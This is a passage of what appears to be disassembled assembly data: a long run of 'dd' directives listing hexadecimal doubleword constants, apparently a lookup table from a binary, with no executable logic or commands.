84BBC0C2h dd 2116C0C2h, 1764C5C2h, 451C5C2h, 20002C2h, 1E0002C2h dd 3C0002C2h, 0E6E602C2h, 0E7E602C2h, 6F0014C2h, 720014C2h dd 10814C2h, 40814C2h, 2298CCC2h, 19FCCC2h, 0F2ACCDC2h dd 100CFC2h, 8100CFC2h, 1E06CFC2h, 224A15C2h, 2140D5C2h dd 14AD5C2h, 3BE2D7C2h, 23CD8C2h, 2E3DBC2h, 0EC216C2h dd 12C216C2h, 13C216C2h, 0D363DDC2h, 130E0C2h, 5346E1C2h dd 5946E1C2h, 180E2C2h, 441E2C2h, 101E4C2h, 102E4C2h, 2302E4C2h dd 28817C2h, 88817C2h, 0B39E6C2h, 1828E7C2h, 522AE7C2h dd 33EE7C2h, 230EEC2h, 330EEC2h, 5486EFC2h, 22C118C2h dd 4AC418C2h, 4DC418C2h, 3E9AF3C2h, 165F5C2h, 3B60F6C2h dd 1A0F7C2h, 8A0F7C2h, 2F2FF7C2h, 140F7C2h, 240F7C2h, 7D0019C2h dd 0B0F19C2h, 820219C2h, 0EF9FAC2h, 3BB6FBC2h, 1BE03C2h dd 128326C2h, 38326C2h, 2DA27C2h, 2DB27C2h, 0A3C29C2h dd 103C29C2h, 64C52DC2h, 2082EC2h, 3082EC2h, 2EE33C2h dd 310333C2h, 0A0134C2h, 790A34C2h, 12AC34C2h, 0F2ED34C2h dd 0F0DF37C2h, 728939C2h, 0DC639C2h, 11BC3BC2h, 38006C2h dd 48006C2h, 0A24F06C2h, 0A34F06C2h, 10F40C2h, 140341C2h dd 150341C2h, 6D0243C2h, 610243C2h, 620243C2h, 10743C2h dd 7A5143C2h, 405143C2h, 420145C2h, 430145C2h, 130107C2h dd 420F07C2h, 0E41748C2h, 0AA2948C2h, 0AB2948C2h, 330648C2h dd 340648C2h, 0E5649C2h, 0F5649C2h, 1744DC2h, 7C744DC2h dd 81924DC2h, 6924DC2h, 81454FC2h, 83454FC2h, 47C208C2h dd 0D70808C2h, 0E2E351C2h, 7D1754C2h, 11F854C2h, 17755C2h dd 80057C2h, 90057C2h, 54A57C2h, 0ACE59C2h, 9CE59C2h, 147F09C2h dd 5015AC2h, 0C14D5BC2h, 0C24D5BC2h, 7BBE5DC2h, 84BE5DC2h dd 4D65EC2h, 321E5EC2h, 1685FC2h, 16D61C2h, 14C861C2h dd 10361C2h, 10062C2h, 17462C2h, 11362C2h, 0A94162C2h dd 414162C2h, 454162C2h, 75562C2h, 81840AC3h, 43840AC3h dd 59565C3h, 7CBE65C3h, 0E8D467C3h, 0A406EC3h, 0B406EC3h dd 964770C3h, 0C84770C3h, 0C29071C3h, 0E99071C3h, 0C14072C3h dd 0E0E75C3h, 220179C3h, 9C57EC3h, 34080C3h, 4A0C81C3h dd 520C81C3h, 610281C3h, 0E20A0DC3h, 12E082C3h, 840084C3h dd 0C10084C3h, 80085C3h, 0C8FA88C3h, 0C9FA88C3h, 0DC820EC3h dd 0AA850EC3h, 189B0EC3h, 49B0EC3h, 5388DC3h, 82488DC3h dd 26C8FC3h, 26D8FC3h, 56492C3h, 3C8092C3h, 3B8492C3h dd 46392C3h, 226096C3h, 1DF9AC3h, 0E4ED9AC3h, 3019BC3h dd 4019BC3h, 2A09EC3h, 21429FC3h, 8700A1C3h, 1603A1C3h dd 568CA3C3h, 840DA6C3h, 40DA6C3h, 0CA3AA6C3h, 201A8C3h dd 401A8C3h, 821211C3h, 200AAC3h, 102AAC3h, 1788B2C3h dd 3840B2C3h, 16D2B4C3h, 2BD2B4C3h, 0C72B6C3h, 1C60B6C3h dd 1D60B6C3h, 3C60B6C3h, 3D60B6C3h, 0F28FB8C3h, 122CB8C3h dd 222CB8C3h, 33F5BBC3h, 1220BCC3h, 420BCC3h, 2700BDC3h dd 2701BDC3h, 7900C7C3h, 7D00C7C3h, 61E014C3h, 62E014C3h dd 22E114C3h, 9242CEC3h, 8FF15C3h, 22D3D3C3h, 421ED7C3h dd 14EEDCC3h, 23BDCC3h, 63BDCC3h, 100DEC3h, 5DD2DEC3h dd 0A22DFC3h, 0C22DFC3h, 2FFE0C3h, 6FFE0C3h, 5EFFE0C3h dd 4696E6C3h, 5696E6C3h, 9A00E8C3h, 440E8C3h, 181E9C3h dd 281E9C3h, 1E0EEC3h, 1F0EEC3h, 1103EEC3h, 1203EEC3h dd 1303EEC3h, 1403EEC3h, 2130F1C3h, 202F2C3h, 302F2C3h dd 86EE19C3h, 0B80FCC3h, 3780FCC3h, 474A1BC3h, 3961DC3h dd 4961DC3h, 0F9F1DC3h, 16C03C3h, 26C03C3h, 436003C3h dd 446003C3h, 1001EC3h, 1FBE1FC3h, 0A8522C3h, 0B8522C3h dd 2A822C3h, 0A2022C3h, 198626C3h, 22026C3h, 22126C3h dd 0FA0028C3h, 0FA0128C3h, 0AC62AC3h, 5C62AC3h, 222E2CC3h dd 832805C3h, 58C32C3h, 209532C3h, 0C17A36C3h, 0C27A36C3h dd 6F673AC3h, 5CA23AC3h, 4DB03AC3h, 22603AC3h, 3D3A06C3h dd 3E3A06C3h, 0FA1441C3h, 0B0044C3h, 0C0044C3h, 82A446C3h dd 0C1B146C3h, 174046C3h, 194046C3h, 0A004AC3h, 37004AC3h dd 1A14EC3h, 1C050C3h, 0A2651C3h, 63C352C3h, 2405AC3h dd 0DEC35CC3h, 0FE585EC3h, 0A5A5EC3h, 0CD7D63C3h, 0D44163C3h dd 0D34263C3h, 15E63C3h, 644501C4h, 624501C4h, 8A416C4h dd 10119C4h, 90119C4h, 0E63303C4h, 2A004C4h, 8A004C4h dd 421F28C4h, 431F28C4h, 8B0007C4h, 858E07C4h, 122065C6h dd 0B7066C6h, 45666C6h, 16167C6h, 87A68C6h, 0E006BC6h dd 0B0C6BC6h, 2A016CC6h, 5826CC6h, 13456CC6h, 3246DC6h dd 1040BC6h, 42986FC6h, 0FC116FC6h, 4B06FC6h, 4B46FC6h dd 2B86FC6h, 83C46FC6h, 22C46FC6h, 6C86FC6h, 7C86FC6h dd 16CC6FC6h, 0C8D16FC6h, 5F06FC6h, 2F46FC6h, 121C6FC6h dd 2206FC6h, 0B246FC6h, 0E246FC6h, 13246FC6h, 142B6FC6h dd 742D6FC6h, 102D6FC6h, 9386FC6h, 2C3F6FC6h, 66F74C6h dd 0F14174C6h, 0A0280C6h, 10A0DC6h, 3C785C6h, 4C785C6h dd 1DD89C6h, 4DD89C6h, 5DD89C6h, 3EF989C6h, 441C8DC6h dd 10392C6h, 22DD93C6h, 23DD93C6h, 24B93C6h, 414C93C6h dd 0F0C97C6h, 0F0D97C6h, 0B7F897C6h, 0F3F897C6h, 630C98C6h dd 630D98C6h, 5DF9BC6h, 1566A1C6h, 2266A1C6h, 19CA1C6h dd 749DA1C6h, 1520A1C6h, 142CA1C6h, 0B06A1C6h, 806A1C6h dd 2E3A3C6h, 4E3A3C6h, 0FDE8A3C6h, 0FEE8A3C6h, 21EA4C6h dd 204A4C6h, 0FE3FA5C6h, 2D7A6C6h, 1BFAA8C6h, 836A8C6h dd 849A8C6h, 5F911C6h, 0C0511C6h, 463911C6h, 304B11C6h dd 0D52ACC6h, 0C838AFC6h, 0B5AEB0C6h, 0BDAEB0C6h, 0A708B2C6h dd 0A808B2C6h, 0CDC8B4C6h, 38CB6C6h, 79FB6C6h, 89FB6C6h dd 0A7CBBBC6h, 3ECBBBC6h, 3E2BEC6h, 1EE2BEC6h, 7C7C7C6h dd 8C7C7C6h, 91EDC7C6h, 499C8C6h, 0A17C9C6h, 1A4BCAC6h dd 43C4CBC6h, 418ECCC6h, 3BF6CEC6h, 3CF6CEC6h, 1A9CFC6h dd 2A9CFC6h, 27FD7C6h, 6C0116C6h, 819916C6h, 21316C6h dd 31316C6h, 940517C6h, 0E18BE8C6h, 0BD3E8C6h, 11D3E8C6h dd 0A0AE9C6h, 140AE9C6h, 1D8EBC6h, 82D8EBC6h, 83D8EBC6h dd 2D8EBC6h, 85FEECC6h, 6504ECC6h, 4782F0C6h, 0C8D4F0C6h dd 0C8D5F0C6h, 2F8F2C6h, 3F8F2C6h, 235F3C6h, 735F3C6h dd 0B20F5C6h, 0C20F5C6h, 3D60F6C6h, 5C60F6C6h, 0FBE1F7C6h dd 6E20FCC6h, 1420FCC6h, 2310FDC6h, 328FDC6h, 0A8803C6h dd 9C803C6h, 0FA6203C6h, 0FB6203C6h, 0AD91EC6h, 71D1EC6h dd 81D1EC6h, 0AD521EC6h, 0AE521EC6h, 0C701FC6h, 7701FC6h dd 2811FC6h, 3811FC6h, 5881FC6h, 6881FC6h, 2101FC6h, 6B51FC6h dd 8B51FC6h, 42C01FC6h, 7CD1FC6h, 9CD1FC6h, 0AD21FC6h dd 82F81FC6h, 86F81FC6h, 0FEFF1FC6h, 1251FC6h, 0B251FC6h dd 32C1FC6h, 3401FC6h, 18571FC6h, 3571FC6h, 0A0220C6h dd 0D0420C6h, 2D924C6h, 3D924C6h, 0A9F04C6h, 644B04C6h dd 454B04C6h, 235304C6h, 15C04C6h, 15E04C6h, 40029C6h dd 6C0329C6h, 270329C6h, 259D31C6h, 459D31C6h, 15D731C6h dd 14DA31C6h, 51DC31C6h, 211E31C6h, 0B7633C6h, 20D33C6h dd 30D33C6h, 13AF33C6h, 20AF33C6h, 0CFB33C6h, 0DFB33C6h dd 0A3133C6h, 0E4035C6h, 720106C6h, 730106C6h, 9A0106C6h dd 0A10106C6h, 0A20106C6h, 120106C6h, 0B50106C6h, 0B60106C6h dd 130106C6h, 0CA0106C6h, 410106C6h, 510106C6h, 520106C6h dd 530106C6h, 156406C6h, 256406C6h, 6F3106C6h, 53106C6h dd 2163CC6h, 16163CC6h, 86FD3CC6h, 0B083EC6h, 0F083EC6h dd 19C140C6h, 3CC140C6h, 23F44C6h, 33F44C6h, 1B845C6h dd 1B945C6h, 2CC45C6h, 7CC45C6h, 82D245C6h, 1BDA45C6h dd 21C45C6h, 10007C6h, 20007C6h, 462446C6h, 5F2446C6h dd 23046C6h, 23C46C6h, 221347C6h, 0A4047C6h, 0A4247C6h dd 0A4848C6h, 64AD4CC6h, 82B54DC6h, 83B54DC6h, 4D04DC6h dd 2474DC6h, 60108C6h, 0B0050C6h, 60050C6h, 10B50C6h, 730E50C6h dd 31450C6h, 13750C6h, 0C18151C6h, 2D151C6h, 59DA51C6h dd 4F651C6h, 0F9A052C6h, 32A552C6h, 22F752C6h, 62F752C6h dd 0CB153C6h, 1D2F53C6h, 1E2F53C6h, 1F2F53C6h, 242F53C6h dd 292F53C6h, 2B2F53C6h, 302F53C6h, 312F53C6h, 332F53C6h dd 0ED255C6h, 0A1257C6h, 17A059C6h, 90909C6h, 1465BC6h dd 2465BC6h, 0A085BC6h, 80835CC6h, 3105FC6h, 0AFB5FC6h dd 4205FC6h, 324361C6h, 334361C6h, 29B00C7h, 69B00C7h dd 1D800C7h, 0DED800C7h, 154600C7h, 174600C7h, 25B01C7h dd 85B01C7h, 35168C7h, 65168C7h, 27869C7h, 47B69C7h, 6BA69C7h dd 9BA69C7h, 42F06BC7h, 0BF26BC7h, 32FD6CC7h, 151B75C7h dd 166075C7h, 17478C7h, 220F7CC7h, 1557DC7h, 24080C7h dd 0CA7E8DC7h, 0CE7E8DC7h, 2392A5C7h, 2492A5C7h, 0C98A5C7h dd 298A5C7h, 2CC4A6C7h, 5D2A6C7h, 1E3A6C7h, 5E3A6C7h, 0FEFEA6C7h dd 4FEA6C7h, 1FF11C7h, 279AAC7h, 6410ABC7h, 210ABC7h, 2A7ABC7h dd 4A7ABC7h, 1E37ABC7h, 10A9ACC7h, 0ED89AFC7h, 0FD89AFC7h dd 6EAB5C7h, 209B7C7h, 409B7C7h, 509B7C7h, 177B8C7h, 1477B8C7h dd 0A80BEC7h, 341BEC7h, 249BEC7h, 6980BFC7h, 6A80BFC7h dd 2B80BFC7h, 8B81BFC7h, 4B90BFC7h, 8891BFC7h, 2DCC7C7h dd 5DCC7C7h, 0AFC02C7h, 280C9C7h, 0FC0C9C7h, 7675CAC7h dd 0A37CAC7h, 237CAC7h, 2349CAC7h, 1401CBC7h, 239DD0C7h dd 82ACD0C7h, 0C826D1C7h, 995D3C7h, 42D7D3C7h, 0C1E1D3C7h dd 0C453D3C7h, 0CF53D3C7h, 479D4C7h, 979D4C7h, 186D4C7h dd 286D4C7h, 2211D4C7h, 2311D4C7h, 3E5D4C7h, 0FC2DD4C7h dd 0AFDD9C7h, 271DAC7h, 1471DAC7h, 98FEDAC7h, 5AFEDAC7h dd 0C83816C7h, 0C83916C7h, 72FDDC7h, 82FDDC7h, 562DDC7h dd 53B7DEC7h, 44BEDEC7h, 6904DEC7h, 504DEC7h, 235DEC7h dd 760DEC7h, 20AE0C7h, 4E8EE4C7h, 0B096E7C7h, 0C229E8C7h dd 73C8EEC7h, 1382F0C7h, 1482F0C7h, 1CEF2C7h, 0AE1F3C7h dd 0BE1F3C7h, 2F2F3C7h, 112F9C7h, 113F9C7h, 660DFAC7h dd 1415FAC7h, 0C308FAC7h, 0FB9AFCC7h, 0FBA2FCC7h, 0FBB4FCC7h dd 2994FEC7h, 2A94FEC7h, 289DFEC7h, 0BDEFFEC7h, 64CA1AC7h dd 2841DC7h, 28031FC7h, 0D2A121C7h, 21022C7h, 51022C7h dd 0A6FE29C7h, 0A022CC7h, 42E2CC7h, 52E2CC7h, 62092CC7h dd 14012DC7h, 140B2DC7h, 18D2DC7h, 1922DC7h, 1FF2DC7h dd 25202DC7h, 26202DC7h, 0E2D2DC7h, 41C62EC7h, 41C72EC7h dd 41C82EC7h, 14AF05C7h, 15AF05C7h, 0B1A32C7h, 2763CC7h dd 1ED3CC7h, 2ED3CC7h, 10148C7h, 64B34FC7h, 0C8B34FC7h dd 64C151C7h, 8C351C7h, 419A54C7h, 16F254C7h, 2C3654C7h dd 7DEA58C7h, 3DEA58C7h, 474059C7h, 484059C7h, 14215BC7h dd 14245BC7h, 33615EC7h, 82B062C7h, 83B062C7h, 0FAB263C7h dd 62C100C8h, 2EC200C8h, 2E000C8h, 81AB01C8h, 3CA0AC8h dd 4CA0AC8h, 330183C8h, 30087C8h, 116110C8h, 26210C8h dd 7D7713C8h, 637713C8h, 2C815C8h, 24015C8h, 10117C8h dd 0C1F217C8h, 0EAFDFFC8h, 2021BC8h, 7021BC8h, 1D81CC8h dd 2D81CC8h, 15281DC8h, 16281DC8h, 8241EC8h, 2071FC8h dd 8071FC8h, 0D59221C8h, 0C19621C8h, 42D121C8h, 42D521C8h dd 0B202CC8h, 0D202CC8h, 73002DC8h, 74002DC8h, 0A0036C8h dd 8A0036C8h, 3033EC8h, 3D409C8h, 4F409C8h, 6F409C8h, 0AB800CAh dd 5B800CAh, 2C3401CAh, 2D3401CAh, 366265CAh, 376265CAh dd 0A20F66CAh, 31D66CAh, 1946ACAh, 9946ACAh, 1CC46ACAh dd 1000BCAh, 2000BCAh, 1640BCAh, 3640BCAh, 1680BCAh, 430C0BCAh dd 0C8780BCAh, 0C9780BCAh, 608A0BCAh, 81A00BCAh, 85A40BCAh dd 3CA40BCAh, 14A70BCAh, 2A90BCAh, 4A90BCAh, 1B80BCAh dd 3B80BCAh, 0AC00BCAh, 0AC30BCAh, 0BC70BCAh, 2C80BCAh dd 0BC90BCAh, 0BCB0BCAh, 1D40BCAh, 22D60BCAh, 0C2D80BCAh dd 11E30BCAh, 2FC0BCAh, 210070CAh, 220070CAh, 230070CAh dd 820B70CAh, 0A10E70CAh, 211170CAh, 831470CAh, 0A11770CAh dd 0A21770CAh, 221A70CAh, 551D70CAh, 571D70CAh, 0A900CCAh dd 0B900CCAh, 831C0CCAh, 831E0CCAh, 0FE5D0CCAh, 20080CAh dd 10780CAh, 0ED10DCAh, 1A482CAh, 2A482CAh, 26883CAh, 1B9083CAh dd 0BCFF84CAh, 0BDFF84CAh, 0ABC87CAh, 0BBC87CAh, 3538BCAh dd 1B10ECAh, 0FEDD0ECAh, 0E430ECAh, 4430ECAh, 83018DCAh dd 12968DCAh, 2188DCAh, 1C288DCAh, 320A90CAh, 320D90CAh dd 0C88A91CAh, 22700FCAh, 0C270FCAh, 125797CAh, 1E5897CAh dd 208A0CAh, 17CA1CAh, 27CA1CAh, 940ABCAh, 0CFF4B2CAh dd 0AFFB2CAh, 2E0B5CAh, 3E0B5CAh, 0BDEAB5CAh, 0BEEAB5CAh dd 320B5CAh, 620B5CAh, 8240B5CAh, 0C340B5CAh, 16CFB7CAh dd 148813CAh, 0A5D14CAh, 1C8C8CAh, 8300C9CAh, 96AC9CAh dd 1512C9CAh, 1FCC9CAh, 130C9CAh, 21E4D0CAh, 22E4D0CAh dd 219515CAh, 12015CAh, 42015CAh, 0E00D3CAh, 201D3CAh dd 0A0AD3CAh, 368D3CAh, 269D3CAh, 40CD3CAh, 3682D3CAh dd 3782D3CAh, 0B86D3CAh, 818BD3CAh, 20ED3CAh, 0DD98D3CAh dd 149AD3CAh, 0F110D3CAh, 0FD11D3CAh, 212D3CAh, 42BAD3CAh dd 0F102D3CAh, 214D3CAh, 2D2D3CAh, 5D2D3CAh, 2DAD3CAh dd 0FDDED3CAh, 59E4D3CAh, 318D3CAh, 10F6D3CAh, 1F7D3CAh dd 201BD3CAh, 21CD3CAh, 11ED3CAh, 4620D3CAh, 4921D3CAh dd 5021D3CAh, 304D3CAh, 1331D3CAh, 132D3CAh, 4638D3CAh dd 33AD3CAh, 0FC06D3CAh, 8240D3CAh, 142D3CAh, 10AD4CAh dd 30AD4CAh, 2C3D5CAh, 0A95D6CAh, 0B95D6CAh, 0B2DD6CAh dd 8259D6CAh, 0C101D7CAh, 42E0D8CAh, 43E0D8CAh, 1E00D9CAh dd 79B1DBCAh, 280DCCAh, 48CDCCAh, 8382DDCAh, 0FD84DDCAh dd 4287DDCAh, 0F28CDDCAh, 191DDCAh, 296DDCAh, 2297DDCAh dd 0B99DDCAh, 0C99DDCAh, 0B9BDDCAh, 410DDCAh, 1A2DDCAh dd 2A2DDCAh, 4AADDCAh, 2BCDDCAh, 0FEBDDDCAh, 0CC1DDCAh dd 14C6DDCAh, 81C7DDCAh, 6002DDCAh, 6102DDCAh, 214DDCAh dd 2CADDCAh, 3D6DDCAh, 1DADDCAh, 316DDCAh, 0A17DDCAh, 0B17DDCAh dd 41F8DDCAh, 0E3F9DDCAh, 0BFBDDCAh, 3FEDDCAh, 21BDDCAh dd 11FDDCAh, 21FDDCAh, 4304DDCAh, 128DDCAh, 229DDCAh, 3B2BDDCAh dd 22DDDCAh, 32DDDCAh, 22EDDCAh, 233DDCAh, 134DDCAh, 8237DDCAh dd 338DDCAh, 606DDCAh, 8E08DDCAh, 9640E0CAh, 4240E0CAh dd 182E1CAh, 1A2E1CAh, 0E631E1CAh, 0E15EE1CAh, 8268E2CAh dd 556E2CAh, 15BE2CAh, 0E25BE2CAh, 516E3CAh, 2201E4CAh dd 0C280E4CAh, 0E19AE4CAh, 78C6E5CAh, 2522E5CAh, 0ABE17CAh dd 0BBE17CAh, 101E7CAh, 201E7CAh, 486AE7CAh, 40CE7CAh dd 0A80E7CAh, 0D80E7CAh, 0AA0E7CAh, 112E7CAh, 113E7CAh dd 2BC0E7CAh, 0CD3E7CAh, 116E7CAh, 916E7CAh, 117E7CAh dd 61E8E7CAh, 2120E7CAh, 124E7CAh, 228E7CAh, 22CE7CAh dd 32CE7CAh, 133E7CAh, 536E7CAh, 138E7CAh, 238E7CAh, 206E7CAh dd 0A48E7CAh, 152E7CAh, 15DE7CAh, 161E7CAh, 67CE8CAh, 238AE8CAh dd 91A9E8CAh, 6ABE8CAh, 2202E8CAh, 2302E8CAh, 2402E8CAh dd 2502E8CAh, 7E6E8CAh, 2324E8CAh, 1D3BE8CAh, 2447E8CAh dd 2547E8CAh, 67E9EACAh, 331EEACAh, 0E34FEBCAh, 6455EBCAh dd 0FABCECCAh, 0FBBCECCAh, 420DEDCAh, 684EDCAh, 1271EFCAh dd 1A71EFCAh, 380EFCAh, 680EFCAh, 1182EFCAh, 292EFCAh dd 0ACEEFCAh, 2CEEFCAh, 9CEEFCAh, 5520EFCAh, 3D3DEFCAh dd 18C18CAh, 8401F1CAh, 0D901F1CAh, 164F1CAh, 264F1CAh dd 166F1CAh, 170F1CAh, 8A73F1CAh, 1176F1CAh, 2284F1CAh dd 4189F1CAh, 0D18FF1CAh, 7E91F1CAh, 10FF1CAh, 4398F1CAh dd 229DF1CAh, 0E29EF1CAh, 1410F1CAh, 1510F1CAh, 3A3F1CAh dd 12A7F1CAh, 64ABF1CAh, 41B1F1CAh, 0FB13F1CAh, 302F1CAh dd 2115F1CAh, 218F1CAh, 119F1CAh, 319F1CAh, 2FCF1CAh, 31CF1CAh dd 0C03F1CAh, 0F51FF1CAh, 520F1CAh, 0B21F1CAh, 0A23F1CAh dd 0A524F1CAh, 604F1CAh, 205F1CAh, 238F1CAh, 23AF1CAh dd 206F1CAh, 13FF1CAh, 240F1CAh, 340F1CAh, 2244F1CAh, 2644F1CAh dd 145F1CAh, 4346F1CAh, 1847F1CAh, 8249F1CAh, 24AF1CAh dd 24DF1CAh, 0E14EF1CAh, 2255F1CAh, 0F958F1CAh, 0B16F4CAh dd 19FF5CAh, 119FF5CAh, 0A80F6CAh, 2180F6CAh, 2280F6CAh dd 21A2F6CAh, 32F8F6CAh, 32EF7CAh, 13AF7CAh, 7C53F7CAh dd 7D53F7CAh, 300F8CAh, 2200F8CAh, 3B00F8CAh, 0C373F8CAh dd 0C573F8CAh, 828EF8CAh, 0C902F8CAh, 0E202F8CAh, 84F1F8CAh dd 85F1F8CAh, 6F5F8CAh, 1111F9CAh, 113F9CAh, 6404F9CAh dd 0BDC19CAh, 200FBCAh, 4189FBCAh, 4289FBCAh, 4290FBCAh dd 21B8FBCAh, 22B9FBCAh, 0BC3FBCAh, 52F4FBCAh, 12FFBCAh dd 158FBCAh, 0E2E01ACAh, 1001CCAh, 1121DCAh, 1201DCAh dd 0B8F1ECAh, 61BB1ECAh, 32321ECAh, 2801FCAh, 2B61FCAh dd 0CEBA1FCAh, 0D1BA1FCAh, 65D31FCAh, 0ADE1FCAh, 20A20CAh dd 10C20CAh, 0D87C20CAh, 0D97C20CAh, 0DA7C20CAh, 0DB7C20CAh dd 2BF20CAh, 1FA20CAh, 25FC20CAh, 2C3020CAh, 15020CAh dd 21D321CAh, 13F221CAh, 34821CAh, 44821CAh, 11F525CAh dd 14F525CAh, 3A8026CAh, 426E29CAh, 35E29CAh, 21902CCAh dd 2CA2CCAh, 3CA2CCAh, 43CC2CCAh, 44CC2CCAh, 13BC2DCAh dd 1842FCAh, 6842FCAh, 328033CAh, 28333CAh, 0E89F33CAh dd 5D133CAh, 6D133CAh, 5D433CAh, 0BE2435CAh, 120136CAh dd 1E0136CAh, 16406CAh, 165406CAh, 0AC03DCAh, 0BC03DCAh dd 4D43DCAh, 0BD83DCAh, 21E13DCAh, 1F03DCAh, 1F83DCAh dd 2403DCAh, 0DDF043CAh, 0DEF043CAh, 0A0F07CAh, 0D0F07CAh dd 3D0F07CAh, 258047CAh, 218147CAh, 65814BCAh, 66814BCAh dd 2614ECAh, 15404FCAh, 1A404FCAh, 4C6051CAh, 526051CAh dd 10152CAh, 20152CAh, 24053CAh, 34053CAh, 19254CAh, 1FF54CAh dd 0E3FF54CAh, 39F57CAh, 59F57CAh, 850060CAh, 448060CAh dd 84C760CAh, 85C760CAh, 646500CBh, 62AC00CBh, 0A41900CBh dd 58BF01CBh, 1CB01CBh, 4CB01CBh, 0ADA01CBh, 1FED01CBh dd 21ED01CBh, 1E4401CBh, 1E4501CBh, 364B01CBh, 656E0ACBh dd 0FEE70ACBh, 6D8065CBh, 6E8065CBh, 5E9D66CBh, 12766CBh dd 1720BCBh, 19720BCBh, 19810BCBh, 1E8C0BCBh, 5E20BCBh dd 6E20BCBh, 64450BCBh, 1480BCBh, 2480BCBh, 0A006FCBh dd 0D006FCBh, 5E0174CBh, 6900CCBh, 7900CCBh, 0A160CCBh dd 1500CCBh, 2500CCBh, 0A560CCBh, 2560CCBh, 285A78CBh dd 3C5A78CBh, 5A5A78CBh, 278279CBh, 288279CBh, 781079CBh dd 551079CBh, 1AE0DCBh, 0FAE0DCBh, 2EC0DCBh, 4EC0DCBh dd 1190DCBh, 2190DCBh, 0A6A84CBh, 75F84CBh, 85F84CBh, 424086CBh dd 424186CBh, 67A08BCBh, 68A08BCBh, 69A08BCBh, 13A08BCBh dd 49A08BCBh, 4AA08BCBh, 4BA08BCBh, 25A18BCBh, 82E48BCBh dd 36F0ECBh, 56F0ECBh, 3A80ECBh, 33200ECBh, 34200ECBh dd 0A018CCBh, 2818CCBh, 3818CCBh, 4818CCBh, 63838CCBh dd 4018DCBh, 5018DCBh, 21808DCBh, 22808DCBh, 25808DCBh dd 42808DCBh, 10E8DCBh, 0C60F8DCBh, 52A08DCBh, 53A08DCBh dd 1A88DCBh, 12A98DCBh, 3AA8DCBh, 1AB8DCBh, 0BEAD8DCBh dd 0FAB88DCBh, 2BA8DCBh, 31C08DCBh, 90C48DCBh, 1C78DCBh dd 0AC88DCBh, 81CA8DCBh, 1CB8DCBh, 14CE8DCBh, 1CF8DCBh dd 81D08DCBh, 21D28DCBh, 0BE08DCBh, 0EE08DCBh, 0BE38DCBh dd 2208DCBh, 0A558DCBh, 60558DCBh, 0B598DCBh, 9598DCBh dd 0AF08FCBh, 9F08FCBh, 5A0692CBh, 1960FCBh, 0AF40FCBh dd 8F40FCBh, 12440FCBh, 35A0FCBh, 45A0FCBh, 31696CBh, 41696CBh dd 20F97CBh, 19997CBh, 29997CBh, 29A97CBh, 0B9C97CBh, 41197CBh dd 5AC97CBh, 0AB597CBh, 22697CBh, 22797CBh, 32797CBh, 34297CBh dd 44297CBh, 24D97CBh, 1219BCBh, 98009DCBh, 1009FCBh, 2009FCBh dd 828710CBh, 228710CBh, 0A2210CBh, 0B2210CBh, 72710CBh dd 13C10CBh, 963C10CBh, 837FA1CBh, 0C37FA1CBh, 1B02A4CBh dd 1C02A4CBh, 0F002A5CBh, 0F102A5CBh, 5E53A6CBh, 0C6EDA7CBh dd 0C7EDA7CBh, 16711CBh, 11D11CBh, 150BACCBh, 190BACCBh dd 821CB0CBh, 0C188B2CBh, 3D88B2CBh, 3E88B2CBh, 3F88B2CBh dd 8289B2CBh, 4789B2CBh, 40AB3CBh, 1016B3CBh, 5E1B3CBh dd 223B3CBh, 4223B3CBh, 19412CBh, 39412CBh, 0FF012CBh dd 2F012CBh, 0A3212CBh, 53212CBh, 27CB4CBh, 37CB4CBh, 0B9CB4CBh dd 1EAB4CBh, 300B5CBh, 0D6CB5CBh, 26FB5CBh, 7E74B5CBh dd 7E75B5CBh, 281B5CBh, 288B5CBh, 0A93B5CBh, 293B5CBh dd 797B5CBh, 3A3B5CBh, 4A3B5CBh, 0AB4B5CBh, 2B6B5CBh, 2BBB5CBh dd 2414B5CBh, 2614B5CBh, 2CEB5CBh, 1D1B5CBh, 3D2B5CBh dd 1D3B5CBh, 7ED5B5CBh, 1D8B5CBh, 65E0B5CBh, 4E6B5CBh dd 2E8B5CBh, 3EAB5CBh, 1EFB5CBh, 218B5CBh, 1F0B5CBh, 1F1B5CBh dd 2F4B5CBh, 3F6B5CBh, 4F6B5CBh, 1F7B5CBh, 1FAB5CBh, 0BFCB5CBh dd 2FEB5CBh, 111AB5CBh, 12CB5CBh, 0A2DB5CBh, 130B5CBh dd 134B5CBh, 234B5CBh, 8235B5CBh, 350B5CBh, 7C53B5CBh dd 645BB5CBh, 145CB5CBh, 44A0BFCBh, 53A0BFCBh, 0AC0BFCBh dd 5C0BFCBh, 6C0BFCBh, 447A02CBh, 18702CBh, 7CC002CBh dd 5EC002CBh, 5FC002CBh, 7BC102CBh, 7CC102CBh, 0C4B02CBh dd 24B02CBh, 1542CACBh, 1642CACBh, 216815CBh, 226815CBh dd 216915CBh, 466915CBh, 16B15CBh, 66B15CBh, 0A7E15CBh dd 647F15CBh, 637F15CBh, 148615CBh, 20F15CBh, 30F15CBh dd 7C1E15CBh, 7D1E15CBh, 122515CBh, 12F15CBh, 15415CBh dd 15515CBh, 10915CBh, 16516CBh, 26516CBh, 820F16CBh, 0C11016CBh dd 931116CBh, 0AB816CBh, 1AB816CBh, 81CA16CBh, 82CA16CBh dd 41F716CBh, 0E50816CBh, 0A8B17CBh, 1A717CBh, 72C17CBh dd 17FE8CBh, 21CAE9CBh, 21CDE9CBh, 181EBCBh, 182EFCBh dd 183EFCBh, 166418CBh, 176418CBh, 0BC1F0CBh, 176F1CBh dd 2284F1CBh, 5584F1CBh, 8787F1CBh, 8A8F1CBh, 0DB0F1CBh dd 5D8F1CBh, 0ADCF1CBh, 0BFAF1CBh, 6434F1CBh, 0A54F1CBh dd 8109F1CBh, 2373F4CBh, 90FF5CBh, 8DF0F8CBh, 1FF0F8CBh dd 1C9FBCBh, 1D3FBCBh, 2270FFCBh, 470FFCBh, 3781ACBh, 1C71ACBh dd 0FC71ACBh, 41E21BCBh, 0A5C1BCBh, 4EA1CCBh, 5EA1CCBh dd 2ED1ECBh, 3ED1ECBh, 5651FCBh, 17D1FCBh, 27D1FCBh, 27E1FCBh dd 17F1FCBh, 1A01FCBh, 32BF1FCBh, 0D2C61FCBh, 1D81FCBh dd 5D81FCBh, 1EE1FCBh, 2EE1FCBh, 0BFC1FCBh, 0CFC1FCBh dd 12FE1FCBh, 1CFE1FCBh, 1281FCBh, 0A2A1FCBh, 1A2A1FCBh dd 7301FCBh, 1491FCBh, 3C4F1FCBh, 1601FCBh, 1631FCBh, 2631FCBh dd 459920CBh, 0AA020CBh, 0ECA120CBh, 0AA620CBh, 0A1021CBh dd 7EA823CBh, 11223CBh, 21223CBh, 7B623CBh, 9B623CBh, 25323CBh dd 35323CBh, 2ED25CBh, 